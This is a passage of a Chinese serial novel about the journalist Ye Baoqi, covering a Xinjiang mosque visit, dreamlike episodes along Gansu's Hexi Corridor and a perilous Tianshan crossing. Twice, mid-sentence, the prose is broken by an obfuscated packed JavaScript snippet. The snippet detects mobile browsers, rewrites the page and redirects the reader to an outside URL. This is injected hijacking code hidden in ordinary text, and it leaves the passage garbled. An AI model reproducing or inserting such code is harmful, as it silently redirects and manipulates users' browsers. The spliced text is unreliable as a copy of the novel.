他开始领诵。 声音响起的刹那,叶葆启感到空气在震动。那不是物理意义上的震动,而是一种更微妙、更深层的震颤——仿佛老阿訇的声音拨动了空气中某种看不见的弦。那声音低沉而悠扬,每个音节都饱满圆润,在殿宇的穹顶下回旋、上升。阿拉伯语的韵律如此独特,起伏如波浪,顿挫如山峦。 叶葆启听不懂经文,但能听懂声音里的情感——那里有敬畏,有谦卑,有感恩,有对超越性存在的深切渴慕。他忽然想起小时候在乡下,深夜听见远处寺庙的钟声,那时只觉得神秘,此刻却似乎懂了一点:人类用声音建造桥梁,试图连接此岸与彼岸,连接有限与无限。 摄影记者按下快门。相机发出轻微的咔嗒声,在诵经声中几乎听不见。他拍摄了几张全景——光影中的背影,整齐的队列,庄严的轮廓。又拍摄了老阿訇的侧影:他微仰着头,闭着眼,脸上的皱纹在那一刻似乎舒展开来,呈现出一种孩童般的专注和虔诚。 最让叶葆启触动的是那些信众的脸。在诵经声中,他们的表情在变化——开始的紧张松弛下来,眉间的忧虑渐渐化开,嘴角浮现出难以察觉的平和。一个中年男子在抹眼泪,泪水顺着黝黑的脸颊滑落,滴在地毯上,洇开一小片深色。一个老人颤抖着嘴唇,缺牙的嘴微微张开,仿佛在吞饮声音里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904183|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘露。 叶葆启忽然明白:这不仅是一场仪式,更是一次集体的心灵沐浴。这些来自不同生活境遇的人们,在这一刻卸下重负,在共同的声音中找到短暂的安宁和力量。他想起老阿訇的话:“礼拜是充电。充好了电,才能回到生活里去发光。” 时间在诵经声中变得黏稠、缓慢。阳光在地毯上移动,光斑从西侧渐渐移到东侧。当最后一次叩首完成,老阿訇缓缓转过身来,面向信众。他没有立即说话,而是用目光缓缓扫过每一张脸,那目光温柔如春水,仿佛在给每个人无声的祝福。 人们安静地起身,秩序井然地退出大殿。脚步轻盈,表情宁静。那个抹泪的中年男子在出门时,对叶葆启微微一笑——笑容里有泪痕,却出奇地明亮。 老阿訇最后一个走出来。他看上去有些疲倦,但眼神清明。看见摄影记者,他走过来:“记者同志,你拍的照片,能送我一张吗?我想留个纪念。” 张记者连忙答应:“当然!洗出来一定给您寄来!还会多洗几张,给您寺里也留一份。” 老阿訇笑了。那笑容从嘴角开始,慢慢漾开,最终整张脸都舒展开来,皱纹堆叠如菊花绽放。阳光照在他脸上,每道皱纹里都盛着光。 他忽然转向叶葆启,仔细端详他的脸,看了很久,然后说:“叶记者,我看你是个诚恳的人。我们□□教讲究‘伊玛尼’——信仰。你们记者讲求‘真实’。其实,都是追求内心的安宁与世间的正道。” 停顿一下,他温和地问:“要不要了解一下我们的教义?不一定要皈依,只是了解。” 问题来得突然。叶葆启愣在那里,脑子飞快转动。他想起新闻工作者的职业准则,想起自己是个无神论者,想起这次采访的初衷。几秒钟的沉默像被拉长成几分钟。院里的榆树沙沙作响,许愿布条在风中翻飞。 然后他抬起头,迎上老阿訇清澈的目光,诚恳地回答: “尊敬的阿訇,谢谢您的邀请。我的‘教’是记录真实,我的‘经’是寻求真相。我相信,无论信仰为何,向善、求真、爱人、爱国,都是相通的。就像您墙上的那个洞——也许不同的信仰就像墙的两边,但只要我们愿意开一个小洞,温暖就能流通,理解就能生长。” 他顿了顿,继续说:“我会尊重并努力理解您的信仰,就如同我尊重所有在这片土地上诚实劳动、追求美好生活的人们一样。我的笔会记录您的智慧,我的报道会传递您的声音,也许这就是我这个世俗记者的‘礼拜’。” 老阿訇听着,眼睛越来越亮。等叶葆启说完,他伸出手——那是一只老人手,皮肤薄如蝉翼,青筋如地图上的河流,关节粗大变形。但握起来有力,温暖,干燥。 “说得好,”老阿訇用力握了握叶葆启的手,“记者同志,愿你此行平安。也愿你的笔,永远为真实和善良服务。记住:真实不伤人,善良不软弱。真实的善良最有力量。” 他松开手,从怀里掏出一个小布包,打开,里面是一串枣木念珠。“这个送你,不是要你信教。是纪念。枣木是我们这里的树,耐旱,耐热,在最贫瘠的土地上也能结果实。做记者也当如此。” 叶葆启双手接过。念珠沉甸甸的,每颗珠子都磨得光滑温润,泛着暗红色的光泽,像凝固的夕阳。他郑重地道谢。 离开时已是正午。阳光炽烈如瀑,倾泻在土黄色的巷道上,蒸腾起蒙蒙热浪。但叶葆启心中一片清凉澄明,那清凉来自老阿訇的眼神,来自大殿里的诵经声,来自墙根下那个传递温暖的小洞。 车子缓缓驶出巷子。孩子们又聚拢来,追着车跑了一阵,挥手告别。叶葆启回头,透过扬起的尘土,看见大同心寺的穹顶在烈日下闪光,新月标志像一弯微笑,悬挂在蓝得发白的天空下。 当晚在驻地写稿,叶葆启把空调开到最低,仍觉得心头发热。他铺开稿纸,钢笔在手中握了很久,迟迟没有落笔。脑海里的画面太多,声音太多,感触太多,像一缸浓得化不开的墨。 他开始描述那座土黄色的寺庙,那棵系满许愿布的老榆树,那位八十七岁的老阿訇。他写老阿訇拨动念珠的手指,写他深褐色瞳孔里的金环,写他平实而深刻的话语。他特别详细记录了关于“墙洞”的故事——那不是隐喻,是真实存在于两家庭院之间的、拳头大小的孔洞,穿过了一碗碗饺子、一包包药、几十年的交情。 他写道:“在这个多民族聚居、多文化交融的土地上,真正的团结不是宏大的口号,而是具体而微的实践。是一个墙洞,是一碗共享的馕,是不同语言的家长坐在一起讨论孩子的教育,是节日里自然而然的礼物往来。大同心寺的‘同心’,不是要求所有人思想一致,而是在保持各自特色的同时,找到共同生存、共同发展的最大公约数。” 他继续写:“买买提阿訇的智慧在于,他深知信仰不能脱离生活。饿着肚子的人听不进真理,冻着身子的人感受不到温暖。因此,他把宗教教导与改善民生紧密结合——教孩子们认字算数,帮年轻人找工作,为病人筹钱买药。当信仰成为改善现实生活的力量,而不是逃避现实的借口时,它才能真正扎根人心,抵御各种极端思想的侵蚀。” 写到礼拜的场景时,叶葆启格外谨慎。他避免过分渲染神秘色彩,而是聚焦于那些普通信众的脸——他们的虔诚,他们的平和,他们在仪式中找到的慰藉和力量。他写道:“宗教仪式在这里不仅是信仰表达,也是一种社会整合机制。它让不同阶层、不同境遇的人们在特定时刻平等相处,共享精神资源,然后带着重新充实的内心回到各自的生活中去。” 最后,他记录了与老阿訇的对话,特别是关于“信仰与真实”的探讨。他如实写下了自己的回答:“我的‘教’是记录真实,我的‘经’是寻求真相。”也写下了老阿訇的祝福:“愿你的笔永远为真实和善良服务。” 稿子写完时,已是凌晨三点。叶葆启站起身,颈椎发出咔咔的响声。他走到窗前,推开窗户,清冽的空气涌进来,带着沙土和夜来香的气味。星空低垂,仿佛一顶缀满钻石的穹窿罩在大地上。远处的天山山脉在夜色中显出黑色的剪影,沉默,庄严,如沉睡的巨兽。 他想起老阿訇送的那串枣木念珠,从口袋里掏出来,在手中摩挲。珠子已经染上他的体温,光滑而温润。忽然,他注意到其中一颗珠子上有极细的刻痕,凑到灯下细看,竟是两个微小的阿拉伯文字。他不认识,用手机拍下来,发给赛达尔·库尔班询问。 几分钟后,回复来了:“那两个字是‘理解’。” 叶葆启握着念珠,站在西部深沉的夜色里,感到一种奇异的连接——与那位八十七岁的老阿訇,与这座古老的寺庙,与这片土地上所有努力理解、努力和解的人们。他不再是纯粹的旁观者,在某种程度上,他也成了这宏大叙事中的一个小小音符。 稿子发回编辑部后,反响出乎意料地好。总编亲自打来电话,声音里有难得的激动:“葆启,西部这篇写得好!有温度,有高度!不回避问题,不粉饰太平,但又充满希望和建设性。这才是我们需要的深度报道!” 总编顿了顿,压低声音说:“你知道吗?这篇稿子已经引起上面的注意。有领导批示,要求相关部门研究大同心寺的经验,在合适范围内推广。你的报道,可能会实实在在地推动一些改变。” 挂了电话,叶葆启没有兴奋,反而感到肩上的重量增加了。他走到旅馆简陋的阳台上,点燃一支烟——他很少抽烟,但此刻需要一点刺激来消化这些信息。烟头的红光在黑暗中明灭,像一只沉思的眼睛。 下一站将是南疆。要穿越天山,进入更广阔、更复杂、也更具挑战性的地域。他听说那里有更丰富的故事,更深刻的矛盾,更艰辛的探索。但此刻,站在吐鲁番的夜空下,他感到自己比出发时更充实,也更清醒。 真实不伤人,善良不软弱。真实的善良最有力量。 老阿訇的话在耳边回响。叶葆启掐灭烟头,深深吸了一口清凉的夜空气。远处的琴声还在继续,这次他听出来了,那是一首古老的维吾尔民歌,歌唱着爱情、劳动和对土地的深情。 他回到房间,开始整理行装。相机,笔记本,录音笔,充电器,还有那串枣木念珠——他把它小心地收进行囊的内袋。行李不多,但每样都必要。记者的行装总是轻简的,因为最重的重量在肩上,在心里。 窗外,东方的天际线开始泛白,新的一天正在到来。而在天山的另一侧,南疆的故事正等待被倾听、被记录。叶葆启关上台灯,在渐亮的晨光中闭上眼睛。他知道,睡眠不会太深——那些面孔,那些声音,那些关于理解与和解的微弱而坚韧的努力,已经在他心里扎了根,将伴随着他穿越更漫长的旅程。 在似睡非睡的边界,他仿佛又看见那个墙洞。阳光从洞口穿过,在另一边投下一个明亮的光斑。光斑里,有碗筷的叮当,有孩子的笑声,有跨越几十年、跨越民族与信仰的温暖传递。 那是一个小洞。很小。但足够让光通过,足够让温暖流通,足够让理解在坚硬的现实之墙上,开出第一道裂缝。 32. 第032章 一个人的河西蜃楼 两个多月的西行,叶葆启的采访本已蜷曲如沙漠中的蜥蜴皮,边角被风沙磨出了毛边。当采访组再次踏入甘肃地界时,他莫名觉得,脚下这条被称作“河西走廊”的路,正在呼吸。 敦煌的黄昏来得迟缓,太阳悬在鸣沙山上,像一枚熟透却不肯坠落的杏子。叶葆启避开游客,独自站在莫高窟九层楼前。风穿过檐角铁马,叮当声里,他分明听见了别的声音——是画笔在岩壁上摩擦的沙沙声,是千年以前画匠们压低嗓门的交谈。 “老师,您看这飞天飘带的弧度……” “再柔些,要让人觉着不是画出来的,是她自己正要飞走。” 叶葆启猛地回头。月光下,洞窟前只有他自己的影子被拉得细长。可当他举起相机,取景框里却闪过一抹赭石色的衣角——那颜色,与第257窟《鹿王本生图》里的颜料一模一样。 第二天拜访敦煌研究院,他见到了研究员刘怀远。这个五十多岁的学者手指关节粗大,掌心有长期握笔留下的茧子,可触碰显示器时却轻盈得像抚摸婴儿。 “数字存档不是万能的,”刘怀远说,声音低沉,“它能留下每一道笔触的宽度,甚至颜料剥落的轨迹,但留不住……” “留不住什么?” “留不住画这幅画的人,手腕转动时的呼吸频率。”刘怀远的眼睛在镜片后闪烁,“你看这幅《观无量寿经变》,西方净土世界楼阁重重。可如果你贴近了看——当然,现在不让贴近了——你会看见画匠在画檐角时,手抖了一下。” 刘怀远放大数字图像。果然,一处极细微的毛边。 “那一抖,可能是洞外突然起了风沙,可能是他想起家中生病的孩子,也可能是他画了太久,手腕实在酸了。”刘怀远关掉屏幕,“这些,数据记不下来。” 当晚,叶葆启在宾馆整理笔记时睡着了。梦里,他走进一个未曾开放的洞窟。壁画上的供养人正从墙上走下来,拍拍身上的尘土。一个头戴幞头的唐代商人对他拱手:“记者先生,可否借支笔?我的账本还差几笔没记完。” 叶葆启惊醒,发现手中的钢笔不见了。而在采访本最新一页,多了一行小楷记录的丝绸与香料价格:“上等蜀锦,河西换胡椒三斛;波斯银瓶,值好马一匹。” 嘉峪关的城墙在正午的烈日下蒸腾着,砖缝里渗出盐白的汗渍。叶葆启用手触摸墙砖,感到指尖下传来有节奏的搏动——像是千万颗心脏在石头深处跳动。 关城下,酒泉钢铁厂的烟囱正喷吐着灰白色的云。采访组走进厂区,热浪裹挟着铁锈味扑面而来。在轧钢车间,叶葆启见到了张建设。这个七十八岁的东北老汉,皮肤是长期炙烤后的古铜色,右耳失聪——那是1958年高炉点火时震坏的。 “那时这里什么都没有,”张建设说话时,假牙在嘴里轻轻打颤,“只有戈壁,风像刀子。我们一百多个东北小伙子,下了火车,脚踩在沙子上,软的,像踩在棉花上。” 他领着叶葆启走到一台已退役的初轧机前,机器静静趴着,像一头死去的钢铁巨兽。老人突然俯身,把耳朵贴在冰冷的机架上。 “你听。” 叶葆启学着他的样子俯身。起初只有一片寂静,渐渐地,他听见了——机器的轰鸣早已停止,可金属深处,还回荡着当年操作工人的号子声:“嘿——哟!推——哟!轧——哟!” “每个在这干过活的,都留下了一点魂儿在这里。”张建设直起身,眼睛湿润,“我儿子,我孙子,都在这厂里。去年孙子搞自动化改造,把这老伙计淘汰了。我骂了他三天,可心里明白,时代总要往前走。” 黄昏时分,叶葆启登上嘉峪关城楼。西风烈,旌旗猎猎。他看见张建设独自站在远处的戈壁滩上,面对夕阳,身形佝偻如问号。突然,老人的身影模糊了——不,是真的在模糊,像是融化在暮色里。而在老人站立的地方,叶葆启透过相机长焦镜头,看见了一队虚幻的影子:戴安全帽的、扛测量仪的、推着小车的……一个个半透明的身影,正从戈壁深处走来,走进那已亮起灯火的现代化厂区。 那是六十年来所有建设者的魂灵,夜夜归来,巡视他们用青春浇筑的钢铁之城。 张掖丹霞在雨中呈现出诡异的光泽。雨水顺着彩色山脊流淌,将赭红、鹅黄、黛青晕染开来,整片山峦像一块刚从染缸取出的巨幅绸缎,还在滴滴答答淌着彩色的血。 地质研究员韩旭递给叶葆启一块石头:“看看,像什么?” 那是一块剖面呈螺旋状的石英岩,纹理让人眩晕。“像……时间的漩涡?” “像地球的伤口结了痂,又被撕开。”韩旭的声音很轻,仿佛怕惊扰什么,“这里原本是湖泊,恐龙在这里喝水。后来地壳隆起,湖水干了,沉积物里的铁、锰、各种矿物氧化,才染出这些颜色。” 他们沿着木栈道行走。游客的喧哗被雨声过滤,世界只剩下色彩流动的声音。在一处名为“神龙戏火”的景观前,韩旭突然停步。 “你看那个凹陷。” 叶葆启看去,那是一处碗状的红色岩洼。 “每年七月十五,如果月亮正好在那个位置,”韩旭指着天空,“月光会灌满那个凹陷。当地人说,那时候能听见古湖波浪的声音,还有岸边的兽吼。” “你听到过吗?” 韩旭沉默良久:“听到过一次。不是兽吼,是婴儿的哭声。很轻,但确实有。”他转头看叶葆启,“你知道吗?这片丹霞每年都在‘生长’,风吹雨打,反而让颜色更鲜艳。可人的脚踩上去,一道脚印要四十年才能复原。” 当晚在保护站,叶葆启梦见自己变小了,站在丹霞的山脊上。脚下的岩石不是岩石,是凝固的时间层:最上面是昨天的风沙,往下是去年游客掉落的帽子的纤维,再往下是民国时期牧羊人留下的羊粪化石,再再往下,是侏罗纪某只剑龙踩过的泥泞,它的脚印里有三株蕨类植物的孢子,正准备在下一个雨季萌发。 他醒来,窗外晨曦初露。丹霞在晨光中苏醒了,每一道山褶都在伸展腰肢。远处传来韩旭和护林员的对话: “昨晚北坡有块石头松了。” “得去看看,别伤了‘皮肤的毛细血管’。” 他们不说“岩体”,说“皮肤”;不说“侵蚀”,说“伤口愈合”。叶葆启忽然明白,在这群人眼中,这片土地是活着的、会呼吸的巨人。 武威的枸杞田在八月红得刺眼。一排排植株在烈日下挺立,果实密密麻麻,像无数颗微型心脏悬挂枝头。 种植大户景学峰的手是一本地图——掌纹是干涸的河床,茧子是沙丘的等高线,指甲缝里永远有洗不净的红土。他递给叶葆启一把枸杞:“尝尝,这是沙子变的糖。” 果实入口,先甜后苦,最后是漫长的回甘。 “三十年前,这里,”景学峰用脚画了个圈,“站着能看见地平线,因为什么都没有。风大的时候,沙子像水一样从门槛上漫进来。我婆娘每天早上第一件事,不是做饭,是用铁锨铲门口的沙。” 他领着叶葆启参观滴灌系统。黑色细管如血管网络,深入每株植物的根部。“以前浇地是大水漫灌,一半水蒸发了。现在,”他拧开一个阀门,水珠精准滴落,“每一滴都喝到根上。” 最震撼的是苗圃。成千上万的枸杞幼苗在营养钵中排列整齐,嫩绿的叶子还带着绒毛。景学峰抚摸叶片,动作温柔得像抚摸婴儿的脸颊。 “每株苗,我都给它们起名字。”他指着一排苗,“这排叫‘长征’,因为它们要种到最远的沙丘那边去。那排叫‘红妆’,是女儿负责的,她说枸杞红了像女子点胭脂。” 黄昏,叶葆启跟随景学峰巡视新开垦的沙地。在田埂边,老汉突然蹲下,扒开一层沙土:“你看。” 沙土下,露出半截破碎的陶罐,花纹古朴。 “常挖到这些,”景学峰说,“汉代的陶,唐代的瓷,有时还有铜钱。我收着,等我那在兰州读考古的孙子回来研究。”他望着无边的红色田野,“你说怪不怪?几千年前,这里可能就是农田。后来沙来了,田没了。现在沙退了,田又回来了。地是有记忆的。” 夜幕降临,枸杞田里亮起驱虫的紫色灯光。叶葆启独自在田埂上行走,恍惚间看见每一株枸杞都在发光——不是灯光反射,是果实自身发出温润的红光,像大地上浮起无数盏小灯笼。风过处,枝叶摇曳,那些光点便流动起来,汇成一条发光的河流,向着沙漠深处蜿蜒而去。 那是这片土地失而复得的、绿色的血液。 金昌让叶葆启做了三天怪梦。 第一天,他梦见自己掉进一个巨大的镍矿坑。坑壁不是岩石,是层层叠叠的硬币——开元通宝、光绪元宝、袁大头、人民币硬币……所有含镍的货币都在这里。它们互相摩擦,发出金属的耳鸣。 第二天,他梦见城市地下是空的,无数银白色的树根在黑暗中生长。根须穿透岩层,吸收地心的热度,然后将镍元素输送到地表。工厂的烟囱其实是树干,产品是结出的银色果实。 第三天,他梦见自己在矿山公园遇到一个穿工装的老矿工。老人不说话,只是摊开手掌,掌心里躺着一块未经提炼的镍矿石,在月光下泛着幽蓝的光。 “这颜色,”老人终于开口,“像不像夜空中最暗处的那片蓝?” 现实中的金昌确实在进行一场蜕变。叶葆启参观的尾矿库已改造成人工湿地,芦苇丛中游着野鸭。曾经的排渣场现在是光伏电站,黑色太阳能板像巨大的棋盘,吸收着河西走廊永不枯竭的阳光。 最神奇的是“镍都记忆馆”。那里陈列的不是矿石标本,而是矿工的生活物件:一只饭盒,盒盖上有三十年前妻子绣的鸳鸯;一本工作笔记,记录着每次爆破的当量和效果;一沓家书,开头总是“吾妻见字如面”,结尾总是“矿上一切安好,勿念”。 馆长是个退休工程师,他说:“镍的原子序数是28,原子量58.69。这些数字冷冰冰。可我们要记住的,是二十八岁下井的小伙子,是干了五十八年矿工的老师傅,是六十九岁还在为矿区绿化奔波的老书记。” 叶葆启在报道中写下:“资源会枯竭,但人的故事不会。当最后一个矿井关闭时,这座城市不会死去,因为它的灵魂早已从地下转移到了地上——在每片绿叶里,在每个孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904184|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的笑声里,在图书馆的书页间,在公园长椅上老人晒太阳的皱纹里。” 平凉崆峒山出现在视野中时,叶葆启感到胸口有什么东西松动了。两个多月,两万多公里,他的身体记住了草原的起伏、沙漠的柔软、戈壁的坚硬、雪山的凛冽。而现在,这座道教名山以完全不同的姿态矗立——不是征服性的巍峨,而是邀请性的苍翠。 登山路上,他遇见一个采药的老者。老者背篓里的草药散发着苦香,步伐却比年轻人还稳。 “记者同志,”老者竟认出了他,“你这一路,见了不少吧?” 叶葆启点头。 “见的都是真的,也都是假的。”老者笑,缺了门牙的嘴像个山洞,“莫高窟的画是真的,可画里的世界是假的。钢铁厂的烟是真的,可张建设夜里看见的魂灵是假的。丹霞的颜色是真的,可韩旭听到的婴儿哭声是假的。枸杞的红是真的,可沙漠会发光是假的。镍矿的银蓝是真的,可你做的那些梦是假的。” 叶葆启怔住。 “可假的就不重要吗?”老者弯腰采下一株柴胡,“黄帝当年在此问道于广成子,问的是治国之道,广成子答的是养生之术。一个问大的,一个答小的。你说,哪个是真问题?哪个是真答案?” 不等叶葆启回答,老者已消失在密林中,只余声音回荡:“你写报道时,记得把假的也写进去。有时候,假的比真的更真。” 登上山顶,正是日落时分。残阳如血,染透了西边整片天空。向东望,黄土高原的沟壑如大地衰老的皱纹;向西望,来时路已隐入暮霭。 叶葆启打开采访本,风急切地翻动纸页。那些密密麻麻的字迹活了过来——莫高窟画匠的呼吸频率变成了字符的间距,酒钢的机器轰鸣变成了感叹号的振动,丹霞的地质年表变成了段落的分层,枸杞的甜苦变成了形容词的对比,镍的原子结构变成了句子排列的网格。 他忽然明白了老者的意思。真实是骨骼,想象是血肉。没有骨骼立不住,没有血肉活不成。记者这个职业,就是在骨骼上生长出血肉的人。 相机里的影像也在此时显现出异常:每张照片的背景里,都有一些本不该存在的东西。敦煌照片的角落有唐代商人的影子,嘉峪关的照片里有半透明的建设者,丹霞的照片中岩石纹理隐约组成了古生物的形状,枸杞田的夜景确实有微光,金昌的矿坑真的泛着梦中的幽蓝。 是镜头的问题?是光线的问题?还是这两个多月,他的眼睛学会了看见另一种真实? 下山时,月光已铺满山道。叶葆启回头再看山顶,见那里隐约有两个人影对坐,一人峨冠博带,一人粗布麻衣。风送来只言片语: “治大国若……” “养生经曰……” 声音散入松涛,再也辨不分明。 回到宾馆,叶葆启开始整理甘肃之行的最终报道。他写刘怀远深夜在洞窟前徘徊,写张建设在退休那天抱着轧钢机哭了半小时,写韩旭在丹霞核心区发现一株从未记载的苔藓时的手舞足蹈,写景学峰第一次种活枸杞那天,用红布条给每株苗系了蝴蝶结,写金昌的老矿工们把最后一批原矿石献给博物馆时,集体唱起了当年的采矿号子。 他也写那些“假的”:莫高窟壁画在雨夜会有湿润的色泽,酒钢的老机器会在无人的凌晨自己启动空转,丹霞在特定角度能看到古代湖面的倒影,枸杞田在农历十五会散发甜香,镍矿石在掌心握久了会有体温。 凌晨三点,他写完最后一个字。推开窗,河西走廊的风涌进来,带着两千年驼铃的余音、商旅的汗味、僧侣的诵经声、戍卒的乡愁、画匠的颜料香、钢铁的灼热、枸杞的甜涩、镍矿的金属气。 总编打来电话:“葆启,报道收到了。有些……特别。读者可能会问,那些超现实的部分是怎么回事?” 叶葆启望着窗外星空:“就说是河西走廊的魔法吧。在这条路上走得久了,现实和幻想的边界就会模糊。” 电话那头沉默片刻,传来笑声:“好一个‘河西走廊的魔法’。发,全文照发。” 挂断电话,叶葆启取出下一段行程的地图。青藏高原在纸上隆起三维的褶皱,青海湖像一只蓝色的眼睛注视着他。 更大的挑战在前方,但他的笔已有了新的重量——不仅是记录事实的重量,还有承载想象的重重。他想起《庄子》里的话:“天地有大美而不言。”记者要做的,或许就是替这不言的天地,说出那些藏在真实褶皱里的、魔幻的真实。 晨光微露时,他伏在桌上睡着了。梦里,他骑着一匹由文字幻化的马,马蹄踏过之处,戈壁长出诗行,沙漠开出比喻,雪山裸露出叙事的岩层。而前方,昆仑山的轮廓已在地平线上显现,那是中华神话的脊梁,等待着一个既相信眼睛、也相信心灵的记录者。 采访本在桌上自动翻页,空白页里,隐约有未来的字迹正在生长——那些他尚未抵达、但终将抵达的地方的故事,已开始孕育自己的形状。 风又起,吹动扉页。那里原本只写着“采访笔记”四字,现在下面多了一行小字,墨迹未干: “真幻河西道,苍茫我的心。” 33. 第033章 未抵达的讯问 越野车驶离兰州时,叶葆启在笔记本上画下第三个歪斜的十字。第一个画于黄河铁桥,第二个在敦煌莫高窟斑驳的壁画前。他迷信这种无意义的仪式,仿佛每一次落笔都是对未知路途的献祭。摄影记者从后视镜里看见他的动作,干裂的嘴唇动了动,终究没说话。只有小刘,这个二十八岁的退伍汽车兵,还在认真检查胎压,他的世界尚由钢铁与螺栓构成,简单得令人羡慕。 天山在他们离开乌鲁木齐的第三个小时显现。不是“出现”,是“显现”——像一头沉睡的巨兽缓慢翻转它银白的脊背。摄影记者突然叫停车,抱着相机跳下去,镜头对准地平线上那道逐渐升起的白色弧线。风灌进他的旧夹克,鼓胀如帆。叶葆启摇下车窗,闻到空气里铁锈与雪混杂的气味。这是天山的气息,他想,是岩石风化千年后吐纳的叹息。 “拍不够啊,老叶。”摄影记者回来时胡茬上结着霜,“你看那山,像不像被剥了皮的巨兽骸骨?” 这个比喻让叶葆启心中一凛。他重新打量远山,果然看出了不同——那连绵的雪线不再是装饰,而是裸露的脊椎;黑色的岩壁是干涸的血肉;山谷的阴影则是骨骼间的空洞。他忽然记起莫言在高密乡描述的那些在月光下复活的亡灵。天山此刻也活了过来,以地质纪年的缓慢节奏呼吸着。 小刘打断了凝视:“叶老师,天气预报说午后有变。” 变。这个字在西部有特殊的重量。它可能意味着一场让道路消失的雪,一次令山体痉挛的雨,或是从戈壁深处窜出的、专咬轮胎的怪风。 翻越胜利达坂时,越野车开始发出不同以往的嘶鸣。不是故障,是海拔拔扯着钢铁与橡胶的筋骨发出的呻吟。四千一百米处,叶葆启感到自己的脑浆变成了半凝固的糨糊,每一次心跳都撞击着太阳穴。他看见摄影记者的脸色由红转紫,却仍固执地将相机抵在车窗上,手指因缺氧而泛白。 “你在拍什么?”叶葆启问,声音像是从很远的地方传来。 “光。”摄影记者喘息着,“山尖上的光在流血。” 叶葆启望向窗外。云层裂开一道缝隙,夕阳如倾倒的熔金灌入雪谷。的确像流血——粘稠的、缓慢的、带着灼伤视网膜的痛感。他忽然理解了摄影记者的痴迷:这老头不是在记录风景,是在搜集光芒的标本,把那些瞬息即逝的死亡与重生封存在胶片里。 路标显示“胜利达坂,4280米”。小刘停下车,不是因为指示,而是前方出现了奇景:一群岩羊站在路边,约莫二三十只,齐刷刷望向车辆。它们瞳仁里映出扭曲的车身,没有畏惧,只有某种古老的审视。领头的老羊犄角盘曲如古文字,它向前两步,鼻翼翕动。 “它在闻我们的来路。”摄影记者轻声说,快门声在稀薄空气中格外清脆。 岩羊群让开道路,仿佛完成某种仪式。车驶过时,叶葆启确信自己听见了那只老羊的叹息——混在风里,像是岩石摩擦的低语。后来他在笔记里写:“山间的生灵是古老的哨兵,它们记得每一辆经过的车,每一个消失的人。” 下坡路比攀升更可怖。刹车片散发出焦糊的甜味,方向盘在小刘手中微微战栗,仿佛随时会挣脱控制,带着他们坠入右侧的深渊。河谷在暮色中变成一条黑色的伤口,深不见底。摄影记者忽然说起他年轻时在藏区的经历:“那次陷在泥石流里,等了三天。饿极了,我就嚼胶片。柯达胶片的醋酸纤维素底基,有一股子酸涩的甜味,像发馊的水果。” “吃出好照片了吗?”小刘试图让语气轻松。 “吃出了一张后来获奖的照片。”摄影记者笑,露出被尼古丁熏黄的牙齿,“梦里拍的。一个藏族老阿妈在洪水中捞起自己的转经筒,水面下全是发光的眼睛。” 这个荒诞的故事却让车厢内的氛围松弛下来。莫言笔下的饥饿总能催生最离奇的想象,叶葆启想。此刻他们的饥饿尚未到来,但恐惧已开始酝酿自己的叙事。 塌方出现在一个没有名字的弯道。彼时铅云已压至山腰,天空低垂如浸水的毡房。先是一阵碎石雨,敲打车顶如同无数手指在叩问。接着更大的轰鸣从山体内部传来——那不是声音,是震动,通过轮胎、座椅、脊椎直抵天灵盖。 堵住的道路前,几个司机像从泥土里长出的蘑菇,佝偻在雨中。那个维吾尔族老汉的脸皱得像胡杨木雕,汉语词语从他口中蹦出时,都带着烤馕般的干硬质感:“过去,快。山在发脾气。” 叶葆启仰头望山。雨水顺着岩壁淌下,形成千万条临时溪流。他恍惚看见岩层在蠕动,像沉睡巨兽的皮肤在抽搐。一块石头松动、滚落,接着是第二块、第三块……这不是塌方,是山的某种消化过程,它在排出多余的骨骼。 “闯!”这个字从叶葆启喉咙里迸出时,带着血丝的味道。 小刘挂上四驱,引擎怒吼。越野车变成一头被迫赴死的兽,冲向那条泥石流还在继续涂抹的通道。摄影记者竟在这时摇下车窗,伸出相机。雨水和泥点瞬间泼洒进来。 “你疯了?!”叶葆启去拉他。 “等等……光!”摄影记者嘶喊,“石头砸地的光!” 那一瞬,时间发生了奇异的粘滞。叶葆启清楚地看见:一块桌面大的岩石脱离山体,在空中翻转,湿润的表面折射出阴云里唯一一缕天光——惨白的、濒死的光。它下落得很慢,慢到可以看清上面苔藓的纹路,慢到像某种庄严的坠落仪式。岩石的影子先一步抵达路面,漆黑如洞。 越野车擦着那个“洞”的边缘冲了过去。后视镜里,巨石砸在原地,溅起的不是泥土,而是一圈苍白的尘环,像大地吐出的叹息。紧接着,更多碎石如瀑布倾泻,彻底封死了来路。 车内一片死寂。只有雨刷器还在机械地摆动,刮开不断流下的泥浆。小刘的双手死死握着方向盘,指节白得透明。摄影记者慢慢收回相机,抱在怀里,像抱着一具尚有体温的尸体。 “拍到了?”叶葆启问。 “拍到了。”摄影记者的声音在发抖,“但可能……可能不是石头。” 他没解释这话的意思。很多年后,叶葆启在摄影记者的遗物中看到那张照片:模糊的雨幕中,下坠的岩石确实不像岩石,它边缘融化在光线里,更像一个蜷缩的人形,或是一颗巨大的、正在落泪的眼珠。 陷车发生在河谷最狭窄处。雨水泡软了路基,大地忽然变得温柔而危险——那种温柔的陷阱,像莫言笔下用蜜糖包裹的刀锋。左后轮陷进去时几乎没有声音,只有一种缓慢的下沉感,仿佛不是车陷进泥土,而是泥土张开口,轻轻含住了钢铁的脚踝。 